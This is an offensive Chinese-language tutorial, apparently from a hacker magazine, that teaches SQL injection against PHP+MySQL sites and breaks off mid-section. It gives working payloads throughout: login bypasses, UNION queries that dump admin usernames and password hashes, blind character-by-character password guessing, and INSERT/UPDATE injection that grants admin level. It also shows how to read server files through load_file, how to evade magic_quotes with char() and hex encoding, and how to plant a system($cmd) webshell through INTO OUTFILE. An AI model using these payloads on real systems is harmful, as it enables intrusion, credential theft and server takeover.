PHP+MySQL 注射资料
Submit:x0r
Date:20080228
Source Document:internet
Php注入攻擊是現今最流行的攻擊方式,依靠它強大的靈活性吸引了廣大黑迷。
在上一期的《php安全與注射專題》中林.linx主要講述了php程序的各種漏洞,也講到了php+mysql注入的問題,可是講的注入的問題比較少,讓我們感覺沒有盡興是吧.
OK,這一期我將給大家伙仔仔細細的吹一吹php+mysql注入,一定讓你滿載而歸哦(誰扔磚頭哩!)。
本文主要是為小菜們服務的,如果你已經是一只老鳥呢,可能某些東西會感覺比較乏味,但只要你仔細的看,你會發現很多有趣的東西哦。
閱讀此文你只要明白下面的這點東西就夠了。
1.明白php+mysql環境是如何搭建的,在光盤中我們收錄搭建的相關文章,如果您對搭建php+mysql環境不是很清楚,請先查閱此文,在上一期的專題中也有所介紹。
2.大概了解php和apache的配置,主要用到php.ini和httpd.conf
而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都打開php.ini里的安全模式,即讓safe_mode = On,還有一個就是返回php執行錯誤的display_errors 這會返回很多有用的信息,所以我們應該關閉之,
即讓display_errors=off? 關閉錯誤顯示后,php函數執行錯誤的信息將不會再顯示給用戶。
在php的配置文件php.ini中還有一個非常重要的配置選項magic_quotes_gpc,高版本的默認都是magic_quotes_gpc=On,只有在原來的古董級的php中的
默認配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦!
當php.ini中magic_quotes_gpc=On的時候會有什么情況發生哩,不用驚慌,天是塌不下來的啦!它只是把提交的變量中所有的 ' (單引號), “ (雙引號), \ (反斜線) 和 空字符會自動轉為含有反斜線的轉義字符,例如把’變成了\’,把\變成了\\。
就是這一點,讓我們很不爽哦,很多時候我們對字符型的就只好說BYEBYE了,
但是不用氣餒,我們還是會有好方法來對付它的,往下看咯!
?
3.有一定的php語言基礎和了解一些sql語句,這些都很簡單,我們用到的東西很少,所以充電還來的及哦!
我們先來看看magic_quotes_gpc=Off的時候我們能干些啥,然后我們再想辦法搞一搞magic_quotes_gpc=On的情況哈
?
一:magic_quotes_gpc=Off時的注入攻擊
magic_quotes_gpc=Off的情況雖然說很不安全,新版本默認也讓
magic_quotes_gpc=On了,可是在很多服務器中我們還發現magic_quotes_gpc=Off的情況,例如www.qichi.*。
還有某些程序像vbb論壇就算你配置magic_quotes_gpc=On,它也會自動消除轉義字符讓我們有機可乘,所以說
magic_quotes_gpc=Off的注入方式還是大有市場的。
下面我們將從語法,注入點 and 注入類型幾個方面來詳細講解mysql+php注入
A:從MYSQL語法方面先
? 1。先講一些mysql的基本語法,算是給沒有好好學習的孩子補課了哦~_~
????? 1)select
??? SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
??? select_expression,...
??? [INTO {OUTFILE DUMPFILE} 'file_name' export_options]
??? [FROM table_references
??????? [WHERE where_definition]
??????? [GROUP BY col_name,...]
[ORDER BY {unsigned_integer col_name formula} [ASC DESC] ,...]
????? ]
常用的就是這些,select_expression指想要檢索的列,后面我們可以用where來限制條件,我們也可以用into outfile將select結果輸出到文件中。當然我們也可以用select直接輸出
例如
mysql> select 'a';
+---+
a
+---+
a
+---+
1 row in set (0.00 sec)
具體內容請看mysql中文手冊7.12節
下面說一些利用啦
看代碼先
這段代碼是用來搜索的哦
<form method=“POST” action=“<? echo $PHP_SELF; ?>“>
<input type=“text” name=“search”><br>
<input type=“submit” value=“Search”>
</form>
<?php
………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>
這里我們順便說一下mysql中的通配符,’%’就是通配符,其它的通配符還有’*’和’_’,其中" * "用來匹配字段名,而" % "用來匹配字段值,注意的是%必須與like一起適用,還有一個通配符,就是下劃線" _ ",它代表的意思和上面不同,是用來匹配任何單個的字符的。在上面的代碼中我們用到了’*’表示返回的所有字段名,%$search%表示所有包含$search字符的內容。
我們如何注入哩?
哈哈,和asp里很相似
在表單里提交
Aabb%’? or 1=1? order by id#
注:#在mysql中表示注釋的意思,即讓后面的sql語句不執行,后面將講到。
或許有人會問為什么要用or 1=1呢,看下面,
把提交的內容帶入到sql語句中成為
SELECT * FROM users WHERE username LIKE ‘%aabb%’? or 1=1? order by id# ORDER BY username
假如沒有含有aabb的用戶名,那么or 1=1使返回值仍為真,使能返回所有值
我們還可以這樣
在表單里提交
%’? order by id#
或者
’? order by id#
帶入sql語句中成了
SELECT * FROM users WHERE username LIKE ‘% %’? order by id# ORDER BY username
和
SELECT * FROM users WHERE username LIKE ‘%%’? order by id# ORDER BY username
當然了,內容全部返回。
列出所有用戶了喲,沒準連密碼都出來哩。
這里就舉個例子先,下面會有更精妙的select語句出現,select實際上幾乎是無處不在的哦!
2)下面看update咯
Mysql中文手冊里這么解釋的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
??????? [WHERE where_definition]
UPDATE用新值更新現存表中行的列,SET子句指出哪個列要修改和他們應該被給定的值,WHERE子句,如果給出,指定哪個行應該被更新,否則所有行被更新。
詳細內容去看mysql中文手冊7.17節啦,在這里詳細介紹的話會很羅嗦的哦。
由上可知update主要用于數據的更新,例如文章的修改,用戶資料的修改,我們似乎更關心后者,因為......
看代碼先哦
我們先給出表的結構,這樣大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等級,1為管理員,2為普通用戶
<?php
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>
Ok,我們開始注入了哦,在添email的地方我們添入
netsh@163.com’,userlevel=’1
sql語句執行的就是
UPDATE users SET password='youpass',
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’
看看我們的userlevel就是1了,變成管理員了喲
哈哈,如此之爽,簡直是居家旅行必備啊。
這里我們簡單提一下單引號閉合的問題,如果只用了一個單引號而沒有單引號與之組成一對,系統會返回錯誤。列類型主要分為數字類型,日期和時間類型,字符串類型,然而引號一般用在字符串類型里,而在數字類型里一般人都不會用到引號(然而卻是可以用的,而且威力很大),日期和時間類型就很少用于注入了(因為很少有提交時間變量的)。在下面我們會詳細將這幾種類型的注入方式哦!
3)下面輪到insert了,它已經等的不耐煩了,簡直就像中午食堂里的學生們。
Php中文手冊是這樣教我們的:
INSERT [LOW_PRIORITY DELAYED] [IGNORE]
??????? [INTO] tbl_name [(col_name,...)]
??????? VALUES (expression,...),(...),...
INSERT把新行插入到一個存在的表中,INSERT ... VALUES形式的語句基于明確指定的值插入行,INSERT ... SELECT形式插入從其他表選擇的行,有多個值表的INSERT ... VALUES的形式在MySQL 3.22.5或以后版本中支持,col_name=expression語法在MySQL 3.22.10或以后版本中支持。
由此可見對于見不到后臺的我們來說,insert主要就出現在注冊的地方,或者有其它提交的地方地方也可以哦。
看看表的結構先
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我們仍然假設userlevel表示用戶等級,1為管理者,2為普通用戶哈。
代碼如下
<?php
//reg.php
……
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
默認插入用戶等級是2
現在我們構建注入語句了哦
還是在要我們輸入email的地方輸入:
netsh@163.com’,’1’)#
sql語句執行時變成了:
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',?')
看我們一注冊就是管理員了。
#號表示什么來著,不是忘了吧,暈了,這么快?
忘就忘了吧,下面再詳細給你說說
2.下面說一說mysql中的注釋,這個是很重要的,大家可不能再睡覺啦,要是再睡覺到期末考試的時候就掛了你們。
我們繼續
相信大家在上面的幾個例子中已經看到注釋的強大作用了吧,這里我們將再詳細介紹一下。
Mysql有3種注釋句法
# 注射掉注釋符后面的本行內容
-- 注射效果同#
/* ... */? 注釋掉符號中間的部分
對于#號將是我們最常用的注釋方法。
-- 號記得后面還得有一個空格才能起注釋作用。
/*…*/? 我們一般只用前面的/*就夠了,因為后面的我們想加也不行,是吧?
注意:在瀏覽器地址欄輸入#時應把它寫成%23,這樣經urlencode轉換后才能成為#,從而起到注釋的作用。#號在瀏覽器的地址框中輸入的話可什么也不是哦。
為了大家深刻理解
這里我給大家來個例題
有如下的管理員信息表
CREATE TABLE alphaauthor (
? Id tinyint(4) NOT NULL auto_increment,
? UserName varchar(50) NOT NULL default '',
? PASSWORD varchar(50) default NULL,
? Name varchar(50) default NULL,
? PRIMARY KEY? (Id),
? UNIQUE KEY Id (Id),
? KEY Id_2 (Id)
)
<?php
//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
??? {
??? Echo “重要信息”;
??? }
??? Else
??? Echo “登陸失敗”;
……
?>
我們在瀏覽器地址框直接輸入
http://***/login.php?username=a’or id=1 %23
%23轉換成#了
放到sql語句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#號后面的都拜輸入了,看看
這句話等價于
select * from alphaauthor where UserName='a’or id=1
再仔細看看表的結構,只要有id=1的賬戶,返回的$data就應該為真
我們就直接登陸了,當然你也可以寫
hppt://***/login.php?username=a’or 1=1 %23
一樣的啦
3.下面將要出場的是……
對了,就是這些顯示系統信息的間諜們
VERSION() 返回數據庫版本信息
DATABASE() 返回當前的數據庫名字,如果沒有當前的數據庫,DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回當前MySQL用戶名
mysql> select user(),database(),version();
+----------------+------------+----------------+
user()???????? database() version()??????
+----------------+------------+----------------+
root@localhost alpha?????? 5.0.0-alpha-nt
+----------------+------------+----------------+
1 row in set (0.01 sec)
如圖(1)所示,圖不是很爽是不是?睜大你的大眼睛好好看哦
有時候很有用的哦,比如說你可以根據他的mysql版本看看他的mysql有沒有什么溢出漏洞,沒準我們就發現個好動東哈哈
4. 下面進入最重要的部分了,沒睡覺的打起精神來,睡著了的醒一醒啦。
1)select union select
還是php中文手冊中講的:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被實現。
UNION 用于將多個 SELECT 語句的結果聯合到一個結果集中。
在 SELECT 中的 select_expression 部分列出的列必須具有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。
SELECT 命令是一個普通的選擇命令,但是有下列的限制:
只有最后一個 SELECT 命令可以有 INTO OUTFILE。
需要注意的是union前后的select字段數相同,只有這樣union函數才能發揮作用。如果字段數不等將返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 錯誤
暈咯,這樣不好吧。咋半哩?
別急哈,急也沒用的
例如:
已知alphadb表有11列
我們
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如圖(2)
我們只slect了10個數當然出錯啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如圖(3)
我們看看id=247中的數據先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
id?? title content importtime author accessing addInto type showup change_ubb change_html
+-----+--------------------------------------------+-----------------
347 利用adsutil.vbs+..--發表于黑客檔案2004.6期 發表于黑客x檔案第6期 2004
-03-28 11:50:50 Alpha?? 17 Alpha????? 2??? 1???? 1?? 1
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我們看到,它的返回結果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或許會問,這樣有什么用呢?
問的好。
Ok,繼續試驗
當我們輸入一個不存在的id的時候
例如id=0,或者id=347 and 1<>1
再看看
mysql> select * from alphadb where id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如圖(4)
我們發現它把我們后面的1,2,3,4,5,6,7,8,9,10,11賦給了各個字段來顯示。
哈哈,終于顯示不一樣了,可是這有什么用呢?
先不告訴你。
我們講一個具體的例子先
http://localhost/site/display.php?id=347
看看圖5
http://localhost/site/display.php?id=347 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
結果如圖6
下面我們用一幅圖來總結一下union的用法如圖7
Ok,知道怎么利用了不?不知道的話下面將會詳細告訴你。
2)LOAD_FILE
這個功能太強大了,這也是林.linx在上一個專題中提到的方法。雖然說過了,可我也不得不再提出來。
Load_file可以返回文件的內容,記得寫全文件的路徑和文件名稱
Etc.
我們在mysql的命令行下輸入
mysql> select load_file('c:/boot.ini');
效果如圖(8)
可是我們在網頁中怎么搞呢?
我們可以結合union select使用
http://localhost/site/display.php?id=347%20and%201<>1%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc'),4,5,6,7,8,9,10,11
這里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦,:P
看仔細圖9中的
看看,文件內容暴露無疑。
我們為什么要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3字段呢?我們前面提到列類型一共有那么三種,而原來圖7中顯示3的地方應該是顯示文章內容,應該是字符型的,而load_file('c:/apache/htdocs/site/lib/sql.inc')也一定是字符型的,所以我們猜測放在3字段可以順利顯示。
其實還有很多好的利用方法,繼續往下看哦!
3) select * from table into outfile'file.txt'
有啥用哩?
作用就是把表的內容寫入文件,知道有多重要了吧,我們寫個webshell吧,哈哈。
當然我們不只是導出表,我們還可以導出其它東西的哦,往下看啦。
假設有如下表
#
# 數據表的結構 `test`
#
CREATE TABLE test (
? a text,
? b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
#
# 導出下面的數據庫內容 `test`
#
INSERT INTO test VALUES ('<?php system($cmd); ?>', NULL);
已知我的網站路徑在C:/apache/htdocs/site/
好,看你表演哦,輸入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表里的a列內容導出到cmd.phpzhong
看看cmd.php里的內容先
1??? 2??? <?php system($cmd); ?>??? 0000-00-00 00:00:00??? 5??? 6??? 7??? 8??? 9??? 10??? 11
我們執行一下看看先
http://localhost/site/cmd.php?cmd=dir
如圖(10)
哈哈,果然很爽哦!
4)下面給大家講述LOAD DATA INFILE的故事
LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE IGNORE] INTO TABLE tbl_name
LOAD DATA INFILE語句從一個文本文件中以很高的速度讀入一個表中。
因為這個語句一般情況下不能在瀏覽器里直接輸入,所以作用不是很大。
這里舉個例子來說說
表test的結構和上面介紹的一樣
#
# 數據表的結構 `test`
#
CREATE TABLE test (
? a text,
? b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
我們在mysql命令行下輸入:
Mysql>load data infile 'c:/cmd.php' into table test
其中c:/cmd.php內容為
<?php system($cmd); ?>
注意:上面的內容寫在一行里哦。
通過上面的指令我們就把cmd.asp的內容輸入到了test表中
所得結果如圖(11)
實際上得到的就是上個例子test表中的內容!看看,再結合into outfile,是不是一個完美的組合呢。
基本的語法就將到這里了,可能還有很多重要的東西漏掉了哦,你可以去php中文手冊里淘金,相信你一定會找到很多好東西的,自己挖掘吧。(隨光盤我們付上一個php中文手冊)
B:從注入方式上
主要有數字型,字符型和搜索類
1.??? 數字型
很常見了,我們上面舉的就一直是字符型的例子,大家應該還都記得asp下如何破管理員密碼,下面我們來看一下php下如何實現
我們在地址欄輸入:
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判斷是否存在alphaauthor,如果有返回正常頁面(一般情況啦,有的時候也返回其它什么的,這主要根據構造1=1 和1=2時的頁面判斷)
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判斷是否username字段的長度為5
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32)
跟上面差不多啦,判斷password字段的長度
下面進入猜密碼的階段,用ascii方法來一位一位猜測吧。Ascii等同于asp下的asc,哈哈,經??春诳蚗檔案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
用戶名第一位哦ascii97就是字符a啦
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)
第二位啦,這里只放這一個圖啦,如圖(12)
下面省略X條。
反正我們最后是得出用戶名和密碼了。
我們會發現這里的注入方法幾乎和asp下的注入是一樣的,就是把asc變成ascii,把len變成length就可以了,最后我們就可以得到后臺的管理員賬號和密碼,
當然我們有更簡單的方法,可以直接用union的方法直接得到
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如圖(13)
賬號是alpha,密碼是一長串的東東,哈哈,簡單明了,看到沒有,這里顯示出了union select的強大威力了吧。
上面講的是在不通的表里面猜測內容,如果在同一個表里面我們還可以像下面這樣哩:
下面的一段代碼根據用戶id顯示用戶信息
<?php
//user.php
………..
$sql = "SELECT * FROM user WHERE id=$id";
…………
if (!$result)
{
echo "wrong";
exit;
}
else
echo "用戶信息";
?>
猜測方法和上面幾乎是一樣的,就是我們不用再用select了。
我們輸入
http://localhost/user.php?id=1 and length(password)=7
顯示用戶信息說明我們猜的正確,呵呵,comeon
http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密碼
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦,
通過這種方法最終我們也可以得出id=1的用戶的賬號密碼
2.??? 下面我們來看看字符型的注入方式
在asp中字符型的注入方式很靈活,在php中字符型的注入就主要在
magic_quotes_gpc=Off的情況下進行了。(除非有另外一種情況,先不告訴你)
例如:
<?php
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>
這樣id就變成字符型的了。
不知道大家發現沒有,假如我們這樣寫程序的話,安全性會有所提高的哦
??? 呵呵,繼續了
好我們檢驗是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
帶入到sql語句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’
如果你發現頁面信息不同的話說明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23轉化以后就是#,即注釋的意思,上面說過了哦
這樣的話就不用考慮那個引號的閉合問題了,實際很多時候我們推薦這種方法。
把它帶入到sql語句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我們想要的哦!
看看效果吧,
http://localhost/site/display.php?id=451' and 1=1 %23
圖(14)
正常顯示了囈!
http://localhost/site/display.php?id=451' and 1=2 %23
圖(15)
顯示不正常,哈哈,說明問題存在
我們繼續哦:
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23
看圖(16)
Ok,用戶名和密碼又出來了哦!
3.??? 大家一起來看看搜索型注入吧
搜索型的語句一般這樣寫
<?php
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>
不知道大家還是否記得asp里的注入呢?
不過不記得也沒有關系的啦,我們看吧。
我們構建注入語句吧
在輸入框輸入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql語句中成了
select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
結果如圖17哦
怎么樣,出來了吧,哈哈,一切盡在掌握之中。
C:下面我們從注入地點上在來看一下各種注入攻擊方式
1)??? 首先來看看后臺登陸哦
代碼先
<?php
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后臺登陸成功”;
}
esle
{
echo “重新登陸”;
exit;
}
………
?>
Username和password沒有經過任何處理直接放到sql中執行了。
看看我們怎么繞過呢?
最經典的還是那個:
在用戶名和密碼框里都輸入
‘or’’=’
帶入sql語句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
這樣帶入得到的$data肯定為真,也就是我們成功登陸了。
還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。
我們可以用下面的這些中方法哦
1.
用戶名和密碼都輸入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’
2.
用戶名和密碼都輸入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用戶名和密碼都輸入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’
3.
用戶名輸入’or 1=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
后面部分被注釋掉了,當然返回還是真哦。
??????? 4.
假設admin的id=1的話你也可以
用戶名輸入’or id=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’
如圖18
看看效果圖19
怎么樣?直接登陸了哦!
俗話說的好,只有想不到沒有做不到。
還有更多的構造方法等著課后自己想啦。
2)第二個常用注入的地方應該算是前臺資料顯示的地方了。
上面已經多次提到了呀,而且涉及了數字型,字符型等等,這里就不再重復了哈。
只是舉個例子回顧一下
碧海潮聲下載站 - v2.0.3 lite有注入漏洞,代碼就不再列出來了
直接看結果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如圖20
看看,我們又得到我們想要的了
用戶名alpha
密碼一長串。
為什么我們要把password放在3字段處,把username放在5字段處了,我們上面已經提過了哦,就是我們猜測3和5段顯示的應該是字符串型,而與我們要顯示的username和password的字段類型應該相同,所以我們這樣放了哦。
為什么要用18個字段呢?不知道大家還是否記得在union select介紹那里我們提到union必須要求前后select的字段數相同,我們可以通過增加select的個數來猜測到需要18個字段,只有這樣union select的內容才會正常顯示哦!
3)其它如資料修改,用戶注冊的地方主要得有用戶等級的應用。
我們在上面講述update和insert的時候都已經講到,因為不是很常用,這里就不再闡述,在下面將會提到一些關于update和insert的高級利用技巧。
二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學環節了
??? 當magic_quotes_gpc=On的時候,交的變量中所有的 ' (單引號),
“ (雙引號), \ (反斜線) 和 空字符會自動轉為含有反斜線的轉義字符。
??? 這就使字符型注入的方法化為泡影,這時候我們就只能注入數字型且沒有
Intval()處理的情況了,數字型的我們已經講了很多了是吧,由于數字型沒有用到單引號自然就沒有繞過的問題了,對于這種情況我們直接注入就可以了。
1)假如是字符型的就必須得像下面這個樣子,沒有在字符上加引號 。
????
這里我們要用到一些字符串處理函數先,
字符串處理函數有很多,這里我們主要講下面的幾個,具體可以參照mysql中文參考手冊7.4.10。
????
??? char() 將參數解釋為整數并且返回由這些整數的ASCII代碼字符組成的一個字符串。
當然你也可以用字符的16進制來代替字符,這樣也可以的,方法就是在16進制前面加0x,看下面的例子就明白了。
??? <?php
??? //login.php
??? ……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?>
假設我們知道后臺的用戶名是alpha
轉化成ASCII后是char(97,108,112,104,97)
轉化成16進制是0x616C706861
(我們將在光盤中提供16進制和ascii轉換工具)
好了直接在瀏覽器里輸入:
http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql語句變成:
select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如圖21
??? 正如我們期望的那樣,他順利執行了,我們得到我們想要的。
??? 當然咯,我們也可以這樣構造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql語句變成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我們再一次是成功者了。很有成就感吧,
或許你會問我們是否可以把#也放在char()里
實際上char(97,108,112,104,97)相當于’alpha’
注意是alpha上加引號,表示alpha字符串。
我們知道在mysql中如果執行
mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回錯誤了。因為他會認為alpha是一個變量。所以我們得在alpha上加引號。
如下
mysql> select * from dl_users where username='alpha';
這樣才是正確的。
如果你把#號也放到那里去了,就成了’alpha#’
帶入sql語句中
select * from dl_users where username='alpha#';
當然是什么也沒有了,因為連alpha#這個用戶都沒有。
好,下面我們再來看個例子,
<?php
??? //display.php
??? ……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?>
代碼根據類型來顯示內容,$type沒有任何過濾,且沒有加引號放入程序中。
假設type中含有xiaohua類,xiaohua的char()轉換后是
char(120,105,97,111,104,117,97)
我們構建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
帶入sql語句中為:
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我們的用戶名和密碼照樣出來了哦!沒有截圖,想像一下咯:P
2)??? 或許有人會問,在magic_quotes_gpc=On的情況下功能強大的load_file()還能不能用呢?
這正是我們下面要將的問題了,load_file()的使用格式是load_file(‘文件路徑’)
我們發現只要把‘文件路徑’轉化成char()就可以了。試試看哦
load_file(‘c:/boot.ini’)轉化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
圖22
??? 放到具體注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看圖23
??? 看看,我們看到了boot.ini的內容了哦。
很可惜的是into outfile’’ 不能繞過,不然就更爽了。但是還是有一個地方可以使用select * from table into outfile’’ 那就是….(先賣個關子,下面會告訴你)
三:一些注入技巧,很多都是個人發現哦
1.union select的技巧
UNION 用于將多個 SELECT 語句的結果聯合到一個結果集中。在 SELECT 中的 select_expression 部分列出的列必須具有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。
然而有我們可以用下面的方法來猜測列的類型,可是省去很多時間
我們先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
圖24
看看軟件描述里寫著3,作者里寫著4,我們就可以猜測3和4的位置是字符型的,我們再看14前面的是下載次數,這就應該是int型的了,對吧。
好了,我們根據這里來構建吧,估計username和password也是字符型的。
試試看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如圖25
哈哈,這種方法只要看看就可以大概猜到了。
2.load_file讀寫文件的技巧
不知道你有沒有發現過在我們用load_file()讀寫php文件時不能在網頁中顯示。例如:
'C:/apache/htdocs/site/lib/sql.inc.php'轉化為16進制為:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我們構造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如圖26
發現在文章內容的地方本來該顯示sql.inc.php的,可是卻空空之,為何呢?
我們看看網頁的源代碼先
圖27
哈哈,看看標記的地方,暈死,原來在這里啊,可是為什么哩?
原來html中< >用于標注,哈哈,明白了吧!下次可得記得在哪里找哦。
4.??? md5的惡夢
山東大學的王博士最近可是搞md5搞的紅透了,我們也來搞一搞吧,我們比他更爽,不用計算,哈哈。
md5我們是有辦法繞過的,但是并不是哪里都可以,php中的md5函數就不能繞過,因為你輸入的所有東西都在里面,根本跑不出??梢岳@過的是sql語句中的md5。當然別的sql中的函數也是可以繞過的,道理相同哦。
看例子先:
<?php
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>
我們直接在瀏覽器提交
http://localhost/admin/login.php?username=char(97,98))? or 1=1 %23
帶入sql語句成為select * from alphaauthor where UserName=md5(char(97,98))? or 1=1 #) and Password='".$Pw."'
記得md5里面放的是字符,因為后面有or 1=2,所以我們隨便放了個char(97,98).??? Ok,登陸成功了哦!看看,md5在我們面前也沒有什么用處。
5.??? 核心技術,利用php+mysql注入漏洞直接寫入webshell。。
直接利用注入得到webshell,這應該是大家都很想的吧,下面就教給你。
這里假設你已經知道了網站所在的物理路徑,我這里假設網站路徑為c:/apache/htdocs/site。網站的mysql連接信息放在/lib/sql.inc.php里
1)適用于magic_quotes_gpc=Off
假設我們可以上傳圖片,或者txt,zip,等其它東西,我們把我們的木馬改成
jpg后綴的,上傳后路徑為/upload/2004091201.jpg
2004091201.jpg中的內容為 <?php system($cmd) ?>
好,我們開始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因為適用了outfile,所以網頁顯示不正常,但是我們的任務是完成了。
如圖28
我們趕快去看看http://localhost/site/shell.php?cmd=dir
如圖29
爽否?Webshell我們已經創建成功了??吹阶钋懊娴?2了沒?那就是我們select 1,2所輸出的!
2)下面再講一個適用于magic_quotes_gpc=On的時候保存webshell的方法哦,顯然肯定也能用在于magic_quotes_gpc=Off的時候啦。
我們直接讀他的配置文件,用技巧2介紹的方法
